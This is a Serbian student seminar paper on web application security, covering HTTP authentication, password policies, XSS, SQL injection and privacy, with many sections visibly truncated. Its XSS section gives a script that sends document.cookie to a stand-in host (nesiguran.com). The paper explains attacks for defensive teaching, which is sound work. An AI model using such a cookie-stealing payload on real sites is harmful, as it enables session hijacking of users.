Professional Documents
Culture Documents
SEMINARSKI RAD
BEZBEDNOST WEB-A
Mentor: Student:
1. UVOD ............................................................................................................................................. 3
2. OSNOVNI BEZBEDNOSNI KONCEPT ................................................................................... 4
2.1. Webaplikacije ............................................................................................................................ 5
2.2. HTTP i bezbednost Webaplikacija ........................................................................................... 6
3. AUTENTIFIKACIJA .................................................................................................................. 6
3.1. Korisnička autentifikacija ......................................................................................................... 7
3.1.1. HTTPBasic ......................................................................................................................... 7
3.1.2. HTTPDigest ....................................................................................................................... 8
3.1.3. Autentifikacija na osnovuformi ......................................................................................... 9
3.1.4. Digitalni sertifikati (SSL iTLS) ....................................................................................... 10
3.2. Entitetskaautentifikacija ......................................................................................................... 10
3.2.1. Autentifikacija infrastrukture ........................................................................................... 10
3.2.2. Prevara sa IP adresama .................................................................................................... 11
4. BEZBEDNOSNI PROBLEMIPRI RADU WEB APLIKACIJA ........................................... 12
4.1. Napadi nakorisnike ................................................................................................................. 12
4.1.1. Cross-sitescripting............................................................................................................ 12
4.1.2. Mitigation Techniques (tehnike ublažavanja) .................................................................. 14
4.2. Napadi nasistem ...................................................................................................................... 15
4.2.1. Direktne SQLnaredbe ...................................................................................................... 15
4.2.2.Tehnike ublažavanja ......................................................................................................... 16
5. PROBLEMI PRIVATNOSTI ................................................................................................. 17
5.1. Opasnosti pri upotrebi javnih Web browser-a ........................................................................ 17
5.2. Upotreba ličnih podataka ........................................................................................................ 18
5.3. Opcija «Browser History» ...................................................................................................... 18
6. ZAKLJUČAK .......................................................................................................................... 19
7. LITERATURA ......................................................................................................................... 20
2
1. UVOD
Web bezbednošću se oduvek bavila mala grupa ljudi koja se obicno fokusirala na
bezbednost mreža i operativnih sistema. Pojavom sve složenijih Web aplikacija i Web
servisa kao i činjenica da se na njima nalazi velika količina poverljivih informacija
povlači sa sobom veliku odgovornost programera koji ih kreiraju.
3
2. OSNOVNI BEZBEDNOSNI KONCEPT
Bezbednost
informacija
5
2.2. HTTP i bezbednost Webaplikacija
HTTPklijent HTTPserver
Aplikacioni Aplikacioni
nivoNivo nivoNivo
prezentacij prezentacij
eNivo eNivo
sesijeTrans sesijeTrans
portni portni
nivoMrežni nivoMrežni
nivoNivo nivoNivo
podatakaFiz podatakaFiz
ički nivo ički nivo
Kada je Web aplikacija postavljena naWeb server, korisnici šalju HTTP zahteve za
određene stranice. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima, bez
ikakvih prepreka prolaze kroz firewall-ove zato što su oni deo legalnog HTTP zahteva.
Završni udarac su daliWeb servisi (REST, XML i SOAP), koji omogućavaju da se kroz
samo jedan port provuku razni formatidokumenata.
3. AUTENTIFIKACIJA
3.1.1. HTTPBasic
Zatim klijent šalje drugi zahtev ovaj put uključujući Authenticate header koji
sadrži njegove akreditive za serverov upit. Ako server prihvati akreditive klijenta poslaće
traženu stranicu, u suprotnom šalje odgovor 401 neautorizovanog pristupa da obavesti
klijenta da je autentifikacija propala.1
1
"Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari, Bryan Waters, Daniel Solin,
Jon Stephens, Lee Reynolds; Wrox Press 2003.
7
3.1.2. HTTPDigest
Kao što je već rečeno, HTTP 1.1 specificira unapređenu digest šemu, koja pruža dodatno
zaštitu za:
-napade ponavljanjem,
-obostranu autentifikaciju,
-integritet zaštite.
2
"Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari, Bryan Waters, Daniel Solin,
Jon Stephens, Lee Reynolds; Wrox Press 2003.
8
Digest šema u HTTP 1.0 je osetljiva na napade ponavljanjem. Ovo proizilazi iz
toga što napadač može da ponovi tačno izračunati digest za isti resurs, te da pošalje isti
zahtev serveru. Poboljšana digest šema u HTTP 1.1 uključuje NC parametar ili brojanje
nonce-a u autorizaciono zaglavlje. Ovaj osmocifreni broj u heksadecimalnoj predstavi se
uvećava svaki put kada klijent podnese zahtev sa istim nonce-om. Server mora da proveri
da li je NC veći od poslednje primljene NC vrednosti koju je primio, te da ne uvaži
ponovljene zahteve. Druga poboljšanja HTTP 1.1 šeme su integritet zaštite i obostrana
autentifikacija, što klijentima omogućuje da autetifikuje servere, kao i serverima da
autentifikuje klijente.
9
3.1.4. Digitalni sertifikati (SSL iTLS)
SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbede
klijentsku, serversku ili obostranu autetifikaciju entiteta. Detaljni opisi mehanizama
mogu se naći u SSL i TLS delovima ovog rada.Digitalni sertifikati su mehanizmi za
autentifikaciju sistema, a pored toga predstavlaju i mehanizam za distribuciju ključeva u
kriptografskim razmenama (uključujući i autentifikaciju po potrebi).Razni formati
sertifikata nalaze se u upotrebi.Najšire prihvaćen je X509 v3 sertifikat International
Telecommunication Union-a (pogledati RFC 2459).Još jedan raširen kriptografski
protokol za poruke je PGP.Iako su delovi komercijalnog PGP-a svojinski zaštićeni,
OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC2440).
3.2. Entitetskaautentifikacija
Upotreba cookie-a
Cookie-ji se često koriste za autentifikaciju korisničkog browser-a, kao deo mehanizma
za upravljanje sesijama. Ova tematika je detaljnije opisana u delu koji se odnosi na
upravljanjesesijama.
3.2.1. Autentifikacija
infrastruktureDNSnazivi
Česte su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. IP
adrese ili DNS nazivi su naizgled načini za autentifikaciju. Međutim usled specičfinih
nedostataka vezanih za bezbednost DNS-a, ova metoda bi trebalo da se koristi jedino za
brzu i letimičnu proveru.
10
3.2.2. Prevara sa IP adresama
Korisnička imena
Iako korisnička imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loše uvesti neka
ograničenja za korisnička imena. Ime koje je na neki način izvedeno od korisnikovog ličnog imena
može napadaču da nagovesti o kome se radi i sl. Druga korisnička imena, kao na primer, broj
socijalnog ili poreski broj mogu imati i zakonske posledice. Email adrese nisu dobra korisnička
imena iz razloga opisanih u daljem tekstu.
Zaključavanje lozinki
Ako se napadaču ne spreči, on lozinke nagađa veći broj puta. Vrlo je verovatno da će
pogoditi..Mehanizme sprečavanja nagađanja lozinke trebalo bi postaviti tako da blokiraju nalog u
slučaju kada broj pokušaja logovanja pređe neku unapred zadatu vrednost.Preporučljiv broj
pokušaja logovanja je pet.Ovakvi mehanizmi, međutim imaju nedostatke. Moguće je da napadač
pokuša da pogodi veći broj slučajno izabranih lozinki na poznatim nalozima te tako zaključa ceo
sistem korisnika. Kako sistem zaključavanja lozinki treba da štiti od napada, logična strategija je da
se korisnički nalozi zaključaju na
nekoliko sati. Na ovaj način napadač će se značajno usporiti, dok će pravim korisnicima pristup biti
i dalje omogućen.
11
Starenje i istorija lozinki
Rotacija lozinki je u opštem slučaju dobra stvar. Ovo daje lozinkama odgovarajući životni vek.
Naravno ako se od naloga koji već “provaljen” zatraži da obnovi svoju lozinku sve prednosti
nestaju.
Postoji nekoliko strategija kojima se ovo izvodi. Jedna je da se definiše skup pitanja koja se
postavljaju nekome ko tvrdi da je korisnik. Ova pitanja bi trebalo da budu u slobodnoj
formi.Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora, a ne da
koristi ista pitanja za sve korisnike.Na ovakav način stepen entropije se znatno uvećava.
Potrebno je obratiti pažnju da se u okviru iste sesije nikada ne podnose na potvrdu zajedno pitanja i
odgovori. Na primer za vreme registracije klijentu se može slati ili pitanje ili odgovor, ali nikada
oba zajedno. U slučaju kada sistem koristi email adrese za dostavljanje novih lozinki korisnicima,
lozinke bi trebalo da se promene prvi put kada se novi korisnik loguje sa promenjenom lozinkom.
4.1.1. Cross-sitescripting
Moderni skript jezici, koji se izvršavaju sa klijentske strane, više ne vrše samo
formatiranje strana, nego su sposobni da izvršavaju veći broj akcija. Klijenti prevarom
mogu biti uvučeni u izvršavanje većeg broja različitih funkcija što može biti opasno.Ako
12
napadač odabere Web aplikaciju za koju je korisnik autentifikovan, skript može da vrši
funkcije u ime korisnika.
Napad se odvija na taj način da napadač, kroz propuste u samom skriptu, preko
Web servera, korisniku (koji je meta napada) pošalje stranicu koju je korisnik i zahtevao,
međutim, koja je ujedno i zaražena malicioznim kodom. Maliciozni kod se tada pokreće
uz odobrenje legalnog skripta poslatog sa legitimnog Web servera.
Kroz sledeći primer biće prikazani mogući propusti u PHP aplikacijama koji
dozvoljavaju CSS napade.Pretpostavka je da je korisnik prošao fazu autentifikacije i
sesija je započeta, tako da korisnik poseduje validni sesijski token.Korisnik upotrebljava
Web aplikaciju namenjenu pregledanju elektronske pošte.Ukoliko se prilikom ispisa
naslova svake pojedine poruke, on ispisuje bez proveravanja, postoji mogućnost CSS
napada. Deo koda namenjen za ispis je:3
<?php
echo "<TD>". $naslov. "</TD>";
?>
<script>self.location.href=http://www.nesiguran.com/getCookie?cookies=+escape(docu
ment. cookie)
</script>
3
"Criptography and Network Security: Principles and Practice"; William Stallings; Prentice-Hall, Inc. Upper
Saddle River, New Jersey 1998.
13
4.1.2. Mitigation Techniques (tehnike ublažavanja)
http://www.cert.org/tech_tips/malicious_code_mitigation.html
14
4.2. Napadi nasistem
Korisnik je preko forme poslao serveru svoje korisničko ime i lozinku koji se
unose u SQL upit i prosleđuju bazi podataka. U bazi podataka se proverava da li
postoji slog koji sadrži zadate akreditive. U slučaju da postoji, korisnik je prošao
autentifikaciju.
15
otvarajući sebi neograničen pristup. Loše projektovana Web aplikacija omogućava
hakerima da proizvoljno skidaju prvobitni i postavljaju svoj sadržaj na službenim
sistemima. U prethodnom primeru upotrebljena je tehnika ubacivanja dodatnog upita
na prvobitni upit bazi podataka. SQL injection može da se upotrebi i za:
-izmenu SQL vrednosti,
-proširivanje SQL izraza,
-dodavanje funkcija poziva i procedura za skladištenje postojećim SQL naredbama,
-modifikacija izlaznih podataka.
4.2.2.Tehnike ublažavanja
16
izvršavanja smanjuje rizik od pogrešnog filtriranja. Primena preporučene strategije za
validaciju ulaznih podataka značajno smanjuje problem, međutim ovakav pristup ne
može da zaustavi sve SQL injection napade. Pored toga mogu se javiti teškoće pri
implementaciji u slučaju kada algoritam filtriranja treba da odluči da li dotični podaci
treba da postanu deo upita ili ne, a potrebno je da algoritam prepozna na koju bazu
podataka se takav upit odnosi. Na primer, korisnik koji u obrazac unese prezime
“O’Neil” ujedno unosi i specijalan metakarakter (’).Unos ovakvog karaktera mora biti
dozvoljen pošto je to sastavni deo imena. Međutim, ne može se dozvoliti da ovakav
karakter postane deo upita za bazu podataka, te njegovo izbegavanje može biti
neophodno. Različite baze podataka zahtevaju da se različiti karakteri izbegavaju na
razne načine, te je potrebno za svaku bazu poznavati karaktere koje je potrebnosanirati.
Korisni linkovi:
http://www.sqlsecurity.com/faq-
inj.asphttp://www.spidynamics.com/papers/SQLInjectionWhitePap
er.pdfhttp://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pd
f
5. PROBLEMI PRIVATNOSTI
Ovo poglavlje bavi se privatnošću korisnika.Sistem koji sadrži podatke o korisniku koji su lične
prirode, kao što su brojevi socijalnog osiguranja, telefonski brojevi, zdravstveni kartoni, kao i
detalje o računima, moraju biti dodatno obezbeđeni, u cilju osiguranja privatnosti korisnika.U
nekim zemljama i nekim okolnostima, postoje zakonske regulative o zaštiti privatnosti korisnika.
Svi sistemi treba jasno i stalno da upozoravaju korisnike o opasnostima upotrebe zajedničkih
računara, kao što su oni u bibliotekama i internet kafeima. Upozorenje treba da upozna korisnike
sa sledećim:
-stranice mogu ostati sačuvane u history-u browsera,
-preporučljivo je odjavljivanje sa aplikacije (logout) i gašenje browsera, da bi se izbrisali svi
cookie-i od predhodne sesije,
-moguće je da temp fajlovi ostanu u računaru,
-proxy serveri i LAN korisnici mogu presresti podatke koji se razmenjuju.
17
Sajtove ne treba projektovati sa pretpostavkom da je bilo koji deo klijenta bezbedan, i treba
praviti bilo kakve pretpostavke u vezi integriteta.
Sistem treba obezbediti tako da lične podatke prikazuje samo kada su oni apsolutno
neophodni.Brojevi računa, lična imena, korisnička imena, brojevi socijalnog osiguranja i druge
specifične podatke trebalo bi uvek maskirati (ako je broj računa 123456789, aplikacija bi trebalo
da broj prikaže kao *****6789), osim ako njihov prikaz nije apsolutno neophodan. Samo lična
imena ili nadimke bi trebalo prikazivati na mestu imena, a brojne identifikatore treba prikazivati
samo delom.
Ovo pruža korisniku veliku fleksibilnost pri upotrebi sigurnih hostova kako na ličnom tako i na
zajedničkom računaru.
18
6. ZAKLJUČAK
U ovom radu predstavljeni su osnovni koncepti bezbednosti Web aplikacija, kao i realizacija
tipične aplikacije za timski rad na projektima zasnovane na PHP tehnologiji, na koju su
primenjeni ovi koncepti.
Ovo je bio kratak pregled problema sa kojima se suočava svaki Web programer. Pomenuti su
samo najvažniji problemi, ali mogućnosti za greške ima mnogo. Reći da ne treba verovati
ulaznim podacima je lako, ali je daleko veći problem poštovati ovo jednostavno pravilo u praksi.
Pri izradi Web aplikacija veoma je bitno odrediti koji je stepen bezbednosti potreban. Potrebno je
pronaći balans između parametara bezbednosti, funkcionalnosti, cene i performansi. Povećanje
sigurnosti može dovesti do smanjenja funkcionalnosti aplikacije (npr. ograničava se broj
korisnika), kao i do smanjenja performasi.
Pri posmatranju lista najvećih bezbednosnih problema, primećuje se da skoro svi direktno zavise
od kompetentnosti programera koji proizvode softver. Suština je u tome da je Web zapravo skup
desetina različitih tehnologija koje se izvršavaju na različitim platformama, što znači da se radno
iskustvo ničim ne može zamenuti. Dakle, potrebno je detaljno poznavati svaki deo sistema od
kojeg se sastoji Web aplikacija, što nije lak zadatak. Svaki programer koji se bavi razvojem Web
aplikacija trebalo bi da, pored poznavanja tehnologije sa kojom radi, prati redovno sve novosti,
mailing liste, forume i iskustva drugih programera vezana za bezbednost.
19
7. LITERATURA
1) "A Guide to Building Secure Web Applications" - The Open Web Application Security
Project; Mark Curphey, David Endler, William Hau, Steve Taylor, Tim Smith, Alex
Russell, Gene McKenna, Richard Parke, Kevin McLaughlin, Nigel Tranter, Amit Klien,
Dennis Groves, Izhar By-Gad, Sverre Huseby, Martin Eizner, Martin Eizner, and Roy
McNamara; OWASP 2002.
3) "Professional PHP Web Services"; James Fuller, Harry Fuecks, Ken Egervari, Bryan
Waters, Daniel Solin, Jon Stephens, Lee Reynolds; Wrox Press 2003.
20